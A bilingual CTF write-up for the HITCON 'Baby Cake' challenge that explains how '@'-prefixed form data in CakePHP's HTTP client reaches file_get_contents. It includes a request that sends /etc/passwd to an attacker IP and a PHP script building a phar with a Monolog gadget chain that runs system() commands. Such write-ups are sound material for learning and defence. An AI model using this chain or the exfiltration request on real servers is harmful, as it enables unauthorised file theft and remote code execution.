Tags: php serialization 

Rating: 5.0

# Baby Cake
---
**Points:** 400 | **Solves:** 4/1789 | **Category:** Web

Get the shell plz!!!!! 13.230.134.135

Author: orange

Hint: This is not related to SSRF

![](screenshot.png)

---

[Bahasa Indonesia](#bahasa-indonesia)

## English

### TL;DR
- We can access arbitrary URL with HTTP Client in the given Cake PHP web and the cache will be stored in `body.cache` and `headers.cache` files if the method used is GET.
- Besides GET, we can use other method such as POST with data from `getQuery('data')`.
- In the internal implementation of `\Cake\Http\Client\Request`, if the data is an array, it will be processed with `Cake\Http\FormData`.
- In `Cake\Http\FormData` there is an implementation of CURLOPT_SAFE_UPLOAD-like, where `value` starting with `@` will be uploaded from the local system (Local File Disclosure).
- We can control the parameter of `file_get_contents` in `Cake\Http\FormData` so we can use `phar://` with the payload from `body.cache` for implicit unserialization.
- We can do PHP Object Injection with available gadgets to do Remote Code Execution; for example, by using `Monolog` vendor.

### Detailed Steps
A difficult 'baby' problem with only 4 teams solve it. The web is made with Cake PHP and we got the [source code](baby_cake.tgz). Our goal is to get the shell.

The main logic of the web application is in `src/Controller/PagesController.php`.

```php
headers = $headers;
$this->body = $body;
}
}

class PagesController extends AppController {

private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];

$http = new Client();
return $http->$method($url, $data, $options);
}

private function back() {
return $this->render('pages');
}

private function _cache_dir($key){
$ip = $this->request->getEnv('REMOTE_ADDR');
$index = sprintf('mycache/%s/%s/', $ip, $key);
return CACHE . $index;
}

private function cache_set($key, $response) {
$cache_dir = $this->_cache_dir($key);
if ( !file_exists($cache_dir) ) {
mkdir($cache_dir, 0700, true);
file_put_contents($cache_dir . "body.cache", $response->body);
file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
}
}

private function cache_get($key) {
$cache_dir = $this->_cache_dir($key);
if (file_exists($cache_dir)) {
$body = file_get_contents($cache_dir . "/body.cache");
$headers = file_get_contents($cache_dir . "/headers.cache");

$body = "\n" . $body;
$headers = unserialize($headers);
return new DymmyResponse($headers, $body);
} else {
return null;
}
}

public function display(...$path) {
$request = $this->request;
$data = $request->getQuery('data');
$url = $request->getQuery('url');
if (strlen($url) == 0)
return $this->back();

$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
return $this->back();

$method = strtolower( $request->getMethod() );
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
return $this->back();

$headers = [];
foreach ($request->getHeaders() as $key => $value) {
if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
continue;
if (count($value) == 0)
continue;

$headers[$key] = $value[0];
}

$key = md5($url);
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}

foreach ($response->headers as $key => $value) {
if (strtolower($key) == 'content-type') {
$this->response->type(array('type' => $value));
$this->response->type('type');
continue;
}
$this->response->withHeader($key, $value);
}

$this->response->body($response->body);
return $this->response;
}
}
```

When a request is made on the web with the GET method with `?url=`, the web checks whether there is a cache already stored for the given URL. If not, the URL will be requested with internal HTTP Client and then the contents of the response body will be written to `body.cache` and the contents of the serialized headers (array) will be written in `headers.cache`. If the cache is present, the application will retrieve the cache contents directly. Cache is not used if the method used is other than GET.

Note that there is an `unserialize` call in `cache_get($key)` function but the parameter is from `header.cache` contents which is previously written using `serialize` with array as input so PHP Object Injection is not possible from here (unless there are bugs in PHP internal).

The idea is, since we can write arbitrary data to `body.cache`, if a file operation function with our controlled parameter is executed then we can use `phar://` wrapper to do PHP Object Injection with `body.cache` as the payload. It turns out that we can direct the application flow to `file_get_contents` with our own parameter in the Cake PHP internal!

To understand the exploit better, we will breakdown the steps as the flow from request to Remote Code Execution.

#### Passing Request Data

```php
$request = $this->request;
$data = $request->getQuery('data');
$url = $request->getQuery('url');

...

$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
return $this->back();

..

$method = strtolower( $request->getMethod() );
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
return $this->back();

...

if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}
```

The URL scheme and the method from us is filtered by the web application so we can't use other than `http://` and `https://` for scheme and other than GET/POST/PUT/DELETE/PATCh for method.

We can use POST/PUT/DELETE/PATCH so that `$response = $this->httpclient($method, $url, $headers, $data);` is called. We can set the `$data` variable using GET `?data=`.

```php
private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];

$http = new Client();
return $http->$method($url, $data, $options);
}
```

The web uses `Cake\Http\Client` and call the method based on `$method` from us with `$url` and `$data` from us.

In this example, we will try to use POST method.

#### Processing POST Request

Looks at `vendor/cakephp/cakephp/src/Http/Client.php`.

```php
/**
* Default configuration for the client.
*
* @var array
*/
protected $_defaultConfig = [
'adapter' => 'Cake\Http\Client\Adapter\Stream',

...

public function __construct($config = [])
{
$this->setConfig($config);

$adapter = $this->_config['adapter'];
$this->setConfig('adapter', null);
if (is_string($adapter)) {
$adapter = new $adapter();
}
$this->_adapter = $adapter;

...

/**
* Do a POST request.
*
* @param string $url The url or path you want to request.
* @param mixed $data The post data you want to send.
* @param array $options Additional options for the request.
* @return \Cake\Http\Client\Response
*/
public function post($url, $data = [], array $options = [])
{
$options = $this->_mergeOptions($options);
$url = $this->buildUrl($url, [], $options);

return $this->_doRequest(Request::METHOD_POST, $url, $data, $options);
}

...

/**
* Helper method for doing non-GET requests.
*
* @param string $method HTTP method.
* @param string $url URL to request.
* @param mixed $data The request body.
* @param array $options The options to use. Contains auth, proxy, etc.
* @return \Cake\Http\Client\Response
*/
protected function _doRequest($method, $url, $data, $options)
{
$request = $this->_createRequest(
$method,
$url,
$data,
$options
);

return $this->send($request, $options);
}

...

/**
* Creates a new request object based on the parameters.
*
* @param string $method HTTP method name.
* @param string $url The url including query string.
* @param mixed $data The request body.
* @param array $options The options to use. Contains auth, proxy, etc.
* @return \Cake\Http\Client\Request
*/
protected function _createRequest($method, $url, $data, $options)
{
$headers = isset($options['headers']) ? (array)$options['headers'] : [];
if (isset($options['type'])) {
$headers = array_merge($headers, $this->_typeHeaders($options['type']));
}
if (is_string($data) && !isset($headers['Content-Type']) && !isset($headers['content-type'])) {
$headers['Content-Type'] = 'application/x-www-form-urlencoded';
}

$request = new Request($url, $method, $headers, $data);

...

}

```

The data from us will be processed by `post($url, $data = [], array $options = [])` which is then passed to `_doRequest($method, $url, $data, $options)` which will create a `$request` object using `_createRequest($method, $ url, $data, $options)`. In this function, the object is created as `Cake\Http\Client\Request` (`new Request($url, $method, $headers, $data);`).

Next we have to look at the `vendor/cakephp/cakephp/src/Http/Client/Request.php` code.

```php
/**
* Constructor
*
* Provides backwards compatible defaults for some properties.
*
* @param string $url The request URL
* @param string $method The HTTP method to use.
* @param array $headers The HTTP headers to set.
* @param array|string|null $data The request body to use.
*/
public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
$this->validateMethod($method);
$this->method = $method;
$this->uri = $this->createUri($url);
$headers += [
'Connection' => 'close',
'User-Agent' => 'CakePHP'
];
$this->addHeaders($headers);
$this->body($data);
}

...

/**
* Get/set the body/payload for the message.
*
* Array data will be serialized with Cake\Http\FormData,
* and the content-type will be set.
*
* @param string|array|null $body The body for the request. Leave null for get
* @return mixed Either $this or the body value.
*/
public function body($body = null)
{
if ($body === null) {
$body = $this->getBody();

return $body ? $body->__toString() : '';
}
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}
$stream = new Stream('php://memory', 'rw');
$stream->write($body);
$this->stream = $stream;

return $this;
}
```

In the `body($body)` function, if `$body` is an array, then the data will be processed using `Cake\Http\FormData` with the call to `addMany(array $array)` function. Let's see what happens in this function in `vendor/cakephp/cakephp/src/Http/Client/FormData.php`.

```php
/**
* Add a new part to the data.
*
* The value for a part can be a string, array, int,
* float, filehandle, or object implementing __toString()
*
* If the $value is an array, multiple parts will be added.
* Files will be read from their current position and saved in memory.
*
* @param string|\Cake\Http\Client\FormData $name The name of the part to add,
* or the part data object.
* @param mixed $value The value for the part.
* @return $this
*/
public function add($name, $value = null)
{
if (is_array($value)) {
$this->addRecursive($name, $value);
} elseif (is_resource($value)) {
$this->addFile($name, $value);
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {
trigger_error(
'Using the @ syntax for file uploads is not safe and is deprecated. ' .
'Instead you should use file handles.',
E_USER_DEPRECATED
);
$this->addFile($name, $value);
} elseif ($name instanceof FormDataPart && $value === null) {
$this->_hasComplexPart = true;
$this->_parts[] = $name;
} else {
$this->_parts[] = $this->newPart($name, $value);
}

return $this;
}

/**
* Add multiple parts at once.
*
* Iterates the parameter and adds all the key/values.
*
* @param array $data Array of data to add.
* @return $this
*/
public function addMany(array $data)
{
foreach ($data as $name => $value) {
$this->add($name, $value);
}

return $this;
}

/**
* Add either a file reference (string starting with @)
* or a file handle.
*
* @param string $name The name to use.
* @param mixed $value Either a string filename, or a filehandle.
* @return \Cake\Http\Client\FormDataPart
*/
public function addFile($name, $value)
{
$this->_hasFile = true;

$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);

return $part;
}
```

Execution in the `addMany(array $data)` function will iterate the array and then call `add($name, $value)` for each item. In the `add($name, $value)` function, if `$value` is a string that starts with `@`, then `addFile($name, $value)` will be called.

In `addFile($name, $value)`, because `$value` is a string, `$value = substr($value, 1);` and `$content = file_get_contents($value);` will be executed. With this, since `$value` is tainted from `getQuery('data')`, we can control the parameter of `file_get_contents`!

#### Local File Disclosure

To test it, we can try to do Local File Disclosure. The 'Request' data created will be sent directly to the URL using `fopen` in `Cake\Http\Client\Adapter\Stream` so we can try to send a file to our IP.

The following is a request to send `/etc/passwd` to our IP.

```
POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/passwd
```

At our IP, we will get `/etc/passwd` from the server!

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
orange:x:1001:1001:,,,:/home/orange:/bin/bash
```

We can also see that the Apache configuration use `000-default.conf` and the web directory is in `/var/www/html`.

```
POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/apache2/sites-enabled/000-default.conf
```

```
<VirtualHost *:80>
...

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html

...
</VirtualHost>
```

The attempt to get the flag from Local File Disclosure was unsuccessful. Therefore, we must do Remote Code Execution.

#### Remote Code Execution

By using the features in the web application, we can save the body content of our URL request response to `/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(URL)/body.cache`.

The strategies that can be done are:

1. Create a payload to do PHP Object Injection from the available Classes.
2. Place the PHP Object Injection payload in a phar file, for example `exploit.phar` in our IP.
3. Download `http://IP/exploit.phar` from the web application so the cache will be stored in `/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache`
4. Do POST request with data query to open `phar://` stream wrapper so unserialization will occurs.

For gadgets, here we will try to use `Monolog` with references from https://github.com/ambionics/phpggc/tree/master/gadgetchains/Monolog/RCE/1.

The following is the code to make the payload `exploit.phar` which will execute `system ('ls -alt')`.

```php
socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}

namespace{
$cmd = "ls -alt";

$obj = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
[$cmd, 'level' => null]
)
);

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('');
$phar->setMetadata($obj);
$phar->stopBuffering();

}
```

First, try to access `exploit.phar` URL from the web application.

```
GET http://13.230.134.135/?url=http://IP/exploit.phar
```

Then, do POST request to open `phar://` stream with `exploit.phar` cache location as path.

```
POST http://13.230.134.135/?url=http://IP&data[test]=@phar:///var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache
```

And then RCE is successfully done!

```
total 104
drwxr-xr-x 26 root root 1000 Oct 21 11:08 run
drwxrwxrwt 2 root root 4096 Oct 21 06:25 tmp
-rwsr-sr-x 1 root root 8568 Oct 18 19:53 read_flag
drwxr-xr-x 23 root root 4096 Oct 18 19:53 .
drwxr-xr-x 23 root root 4096 Oct 18 19:53 ..
drwx------ 5 root root 4096 Oct 18 17:12 root
drwxr-xr-x 90 root root 4096 Oct 18 11:23 etc
dr-xr-xr-x 13 root root 0 Oct 16 07:57 sys
-r-------- 1 root root 54 Oct 15 19:49 flag
drwxr-xr-x 4 root root 4096 Oct 15 19:41 home
drwxr-xr-x 3 root root 4096 Oct 9 06:07 boot
lrwxrwxrwx 1 root root 31 Oct 9 06:07 initrd.img -> boot/initrd.img-4.15.0-1023-aws
lrwxrwxrwx 1 root root 28 Oct 9 06:07 vmlinuz -> boot/vmlinuz-4.15.0-1023-aws
drwxr-xr-x 2 root root 4096 Oct 9 06:07 sbin
lrwxrwxrwx 1 root root 14 Oct 8 17:14 www -> /var/www/html/
drwxr-xr-x 14 root root 4096 Oct 8 17:13 var
drwxr-xr-x 5 root root 4096 Oct 8 17:06 snap
drwxr-xr-x 15 root root 2980 Oct 8 17:06 dev
dr-xr-xr-x 136 root root 0 Oct 8 17:06 proc
lrwxrwxrwx 1 root root 31 Sep 12 16:16 initrd.img.old -> boot/initrd.img-4.15.0-1021-aws
lrwxrwxrwx 1 root root 28 Sep 12 16:16 vmlinuz.old -> boot/vmlinuz-4.15.0-1021-aws
drwxr-xr-x 20 root root 4096 Sep 12 16:16 lib
drwx------ 2 root root 16384 Sep 12 16:10 lost+found
drwxr-xr-x 2 root root 4096 Sep 12 15:59 bin
drwxr-xr-x 2 root root 4096 Sep 12 15:56 lib64
drwxr-xr-x 10 root root 4096 Sep 12 15:55 usr
drwxr-xr-x 2 root root 4096 Sep 12 15:55 media
drwxr-xr-x 2 root root 4096 Sep 12 15:55 opt
drwxr-xr-x 2 root root 4096 Sep 12 15:55 mnt
drwxr-xr-x 2 root root 4096 Sep 12 15:55 srv
```

We can't read `/flag` file because it can only be read by `root`. It seems that we need to read it by executing `/read_flag` which is a setuid binary. If `tty` is needed, we can perform reverse shell and spawn it. However, `tty` is not needed so the execution of `system('/ get_flag')` by modifying the previous payload will give us the flag.

Flag: **hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}**

FYI, [Orange ](https://twitter.com/orange_8361) (the author) has found that `phar://` could `unserialize` objects internally since last year, before someone presented it at Black Hat USA 2018.

References:
- https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017
- https://blog.ripstech.com/2018/new-php-exploitation-technique/

## Bahasa Indonesia

### Rangkuman
- Kita dapat mengakses URL menggunakan HTTP Client dari web Cake PHP yang diberikan dan cache-nya akan disimpan dalam berkas `body.cache` dan `headers.cache` apabila method yang digunakan adalah GET.
- Selain GET, kita dapat melakukan request lain seperti POST pada URL dengan data dari `getQuery('data')`.
- Pada implementasi internal `\Cake\Http\Client\Request`, apabila data berupa array maka akan diproses dengan `Cake\Http\FormData`.
- Pada `Cake\Http\FormData` terdapat implementasi yang mirip dengan CURLOPT_SAFE_UPLOAD, di mana `value` yang berawalan `@` akan diunggah dari lokal (Local File Disclosure).
- Pembacaan berkas lokal menggunakan `file_get_contents` dengan string yang kita kontrol, memungkinkan kita menggunakan `phar://` dengan payload yang ada pada `body.cache` untuk unserialization secara implisit.
- Lakukan PHP Object Injection dengan gadget yang tersedia untuk melakukan Remote Code Execution, contohnya dengan menggunakan vendor `Monolog`.

### Langkah Detail
Sebuah soal 'baby web' yang sulit karena hanya 4 tim yang berhasil memecahkannya. Diberikan sebuah akses ke web yang dibuat dengan Cake PHP dan [source code](baby_cake.tgz). Tujuan kita adalah untuk mendapatkan akses shell.

Kode utama dari web terletak pada `src/Controller/PagesController.php`.

```php
headers = $headers;
$this->body = $body;
}
}

class PagesController extends AppController {

private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];

$http = new Client();
return $http->$method($url, $data, $options);
}

private function back() {
return $this->render('pages');
}

private function _cache_dir($key){
$ip = $this->request->getEnv('REMOTE_ADDR');
$index = sprintf('mycache/%s/%s/', $ip, $key);
return CACHE . $index;
}

private function cache_set($key, $response) {
$cache_dir = $this->_cache_dir($key);
if ( !file_exists($cache_dir) ) {
mkdir($cache_dir, 0700, true);
file_put_contents($cache_dir . "body.cache", $response->body);
file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
}
}

private function cache_get($key) {
$cache_dir = $this->_cache_dir($key);
if (file_exists($cache_dir)) {
$body = file_get_contents($cache_dir . "/body.cache");
$headers = file_get_contents($cache_dir . "/headers.cache");

$body = "\n" . $body;
$headers = unserialize($headers);
return new DymmyResponse($headers, $body);
} else {
return null;
}
}

public function display(...$path) {
$request = $this->request;
$data = $request->getQuery('data');
$url = $request->getQuery('url');
if (strlen($url) == 0)
return $this->back();

$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
return $this->back();

$method = strtolower( $request->getMethod() );
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
return $this->back();

$headers = [];
foreach ($request->getHeaders() as $key => $value) {
if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
continue;
if (count($value) == 0)
continue;

$headers[$key] = $value[0];
}

$key = md5($url);
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}

foreach ($response->headers as $key => $value) {
if (strtolower($key) == 'content-type') {
$this->response->type(array('type' => $value));
$this->response->type('type');
continue;
}
$this->response->withHeader($key, $value);
}

$this->response->body($response->body);
return $this->response;
}
}
```

Ketika request dilakukan pada URL dengan GET method, maka web akan memeriksa apakah ada cache-nya yang sudah tersimpan. Apabila belum, maka isi dari body akan ditulis ke `body.cache` dan isi dari headers (array) yang ter-serialisasi akan ditulis di `headers.cache`. Apabila sudah, maka web akan mengambil isi cache secara langsung. Cache tidak digunakan apabila request yang digunakan adalah selain GET.

Perhatikan walaupun terdapat `unserialize` ketika pembacaan cache, data yang dimasukkan adalah dari `headers.cache` yang sebelumnya ditulis menggunakan `serialize` yang isinya pasti berupa array sehingga PHP Object Injection tidak memungkinkan dari sini (kecuali terdapat bug pada internal PHP).

Kita dapat menulis data apa saja pada `body.cache`. Idenya adalah, apabila ada operasi berkas yang parameternya dapat kita kontrol sepenuhnya, kita dapat menggunakan `phar://` wrapper untu melakukan PHP Object Injection dengan payload yang ada pada `body.cache`. Dan ternyata kita dapat mengarahkan alur aplikasi ke `file_get_contents` dengan parameter yang kita kontrol di dalam internal Cake PHP!

Untuk memudahkan memahami exploit, akan dijabarkan alur aplikasi yang terjadi dari request hingga terjadi Remote Code Execution.

#### Passing Request Data

```php
$request = $this->request;
$data = $request->getQuery('data');
$url = $request->getQuery('url');

...

$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
return $this->back();

..

$method = strtolower( $request->getMethod() );
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
return $this->back();

...

if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}
```

Skema pada URL dan method yang dimasukkan user difilter oleh web sehingga kita tidak dapat menggunakan skema selain `http://` dan `https://` dan juga tidak dapat menggunakan method selain GET/POST/PUT/DELETE/PATCH.

Kita dapat menggunakan POST/PUT/DELETE/PATCH agar `$response = $this->httpclient($method, $url, $headers, $data);` terpanggil. Variabel `$data` dapat kita atur menggunakan GET `?data=`.

```php
private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];

$http = new Client();
return $http->$method($url, $data, $options);
}
```

Web menggunakan `Cake\Http\Client` dan memanggil method terkait dengan `$data` berasal dari kita. Sebagai contoh, di sini method yang digunakan adalah POST.

#### Processing POST Request

Lihat kode pada `vendor/cakephp/cakephp/src/Http/Client.php`.

```php
/**
* Default configuration for the client.
*
* @var array
*/
protected $_defaultConfig = [
'adapter' => 'Cake\Http\Client\Adapter\Stream',

...

public function __construct($config = [])
{
$this->setConfig($config);

$adapter = $this->_config['adapter'];
$this->setConfig('adapter', null);
if (is_string($adapter)) {
$adapter = new $adapter();
}
$this->_adapter = $adapter;

...

/**
* Do a POST request.
*
* @param string $url The url or path you want to request.
* @param mixed $data The post data you want to send.
* @param array $options Additional options for the request.
* @return \Cake\Http\Client\Response
*/
public function post($url, $data = [], array $options = [])
{
$options = $this->_mergeOptions($options);
$url = $this->buildUrl($url, [], $options);

return $this->_doRequest(Request::METHOD_POST, $url, $data, $options);
}

...

/**
* Helper method for doing non-GET requests.
*
* @param string $method HTTP method.
* @param string $url URL to request.
* @param mixed $data The request body.
* @param array $options The options to use. Contains auth, proxy, etc.
* @return \Cake\Http\Client\Response
*/
protected function _doRequest($method, $url, $data, $options)
{
$request = $this->_createRequest(
$method,
$url,
$data,
$options
);

return $this->send($request, $options);
}

...

/**
* Creates a new request object based on the parameters.
*
* @param string $method HTTP method name.
* @param string $url The url including query string.
* @param mixed $data The request body.
* @param array $options The options to use. Contains auth, proxy, etc.
* @return \Cake\Http\Client\Request
*/
protected function _createRequest($method, $url, $data, $options)
{
$headers = isset($options['headers']) ? (array)$options['headers'] : [];
if (isset($options['type'])) {
$headers = array_merge($headers, $this->_typeHeaders($options['type']));
}
if (is_string($data) && !isset($headers['Content-Type']) && !isset($headers['content-type'])) {
$headers['Content-Type'] = 'application/x-www-form-urlencoded';
}

$request = new Request($url, $method, $headers, $data);

...

}

```

Data yang kita masukkan akan diproses oleh `post($url, $data = [], array $options = [])` yang kemudian di-pass ke `_doRequest($method, $url, $data, $options)` yang akan membuat objek `$request` menggunakan `_createRequest($method, $url, $data, $options)`. Pada fungsi tersebut, terdapat pembuatan objek menggunakan `Cake\Http\Client\Request` yang datanya berasal dari `$url` dan `$data` yang kita kontrol (`new Request($url, $method, $headers, $data);`).

Selanjutnya kita harus melihat kode `vendor/cakephp/cakephp/src/Http/Client/Request.php`.

```php
/**
* Constructor
*
* Provides backwards compatible defaults for some properties.
*
* @param string $url The request URL
* @param string $method The HTTP method to use.
* @param array $headers The HTTP headers to set.
* @param array|string|null $data The request body to use.
*/
public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
$this->validateMethod($method);
$this->method = $method;
$this->uri = $this->createUri($url);
$headers += [
'Connection' => 'close',
'User-Agent' => 'CakePHP'
];
$this->addHeaders($headers);
$this->body($data);
}

...

/**
* Get/set the body/payload for the message.
*
* Array data will be serialized with Cake\Http\FormData,
* and the content-type will be set.
*
* @param string|array|null $body The body for the request. Leave null for get
* @return mixed Either $this or the body value.
*/
public function body($body = null)
{
if ($body === null) {
$body = $this->getBody();

return $body ? $body->__toString() : '';
}
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}
$stream = new Stream('php://memory', 'rw');
$stream->write($body);
$this->stream = $stream;

return $this;
}
```

Pada fungsi `body($body)`, apabila `$body` adalah array, maka data akan diproses menggunakan `Cake\Http\FormData` dengan fungsi `addMany(array $array)`. Mari kita lihat apa yang terjadi pada fungsi tersebut di `vendor/cakephp/cakephp/src/Http/Client/FormData.php`.

```php
/**
* Add a new part to the data.
*
* The value for a part can be a string, array, int,
* float, filehandle, or object implementing __toString()
*
* If the $value is an array, multiple parts will be added.
* Files will be read from their current position and saved in memory.
*
* @param string|\Cake\Http\Client\FormData $name The name of the part to add,
* or the part data object.
* @param mixed $value The value for the part.
* @return $this
*/
public function add($name, $value = null)
{
if (is_array($value)) {
$this->addRecursive($name, $value);
} elseif (is_resource($value)) {
$this->addFile($name, $value);
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {
trigger_error(
'Using the @ syntax for file uploads is not safe and is deprecated. ' .
'Instead you should use file handles.',
E_USER_DEPRECATED
);
$this->addFile($name, $value);
} elseif ($name instanceof FormDataPart && $value === null) {
$this->_hasComplexPart = true;
$this->_parts[] = $name;
} else {
$this->_parts[] = $this->newPart($name, $value);
}

return $this;
}

/**
* Add multiple parts at once.
*
* Iterates the parameter and adds all the key/values.
*
* @param array $data Array of data to add.
* @return $this
*/
public function addMany(array $data)
{
foreach ($data as $name => $value) {
$this->add($name, $value);
}

return $this;
}

/**
* Add either a file reference (string starting with @)
* or a file handle.
*
* @param string $name The name to use.
* @param mixed $value Either a string filename, or a filehandle.
* @return \Cake\Http\Client\FormDataPart
*/
public function addFile($name, $value)
{
$this->_hasFile = true;

$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);

return $part;
}
```

Eksekusi pada fungsi `addMany(array $data)` akan mengiterasi array yang dimasukkan untuk diproses menggunakan `add($name, $value)`. Pada fungsi `add($name, $value)`, apabila `$value` adalah string yang diawali `@`, maka `$this->addFile($name, $value);` akan dipanggil.

Pada `addFile($name, $value)`, karena `$value` adalah string, maka `$value = substr($value, 1);` dan `$content = file_get_contents($value);` akan tereksekusi. Dengan ini, kita dapat mengontrol parameter dari `file_get_contents`!

#### Local File Disclosure

Untuk mengujinya, kita dapat mencoba Local File Disclosure. Data request yang dibuat akan dikirim langsung menuju URL dengan menggunakan `fopen` pada `Cake\Http\Client\Adapter\Stream`.

Berikut adalah request untuk mengirimkan `/etc/passwd` ke IP kita.

```
POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/passwd
```

Pada IP kita, kita akan mendapatkan `/etc/passwd` dari server!

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
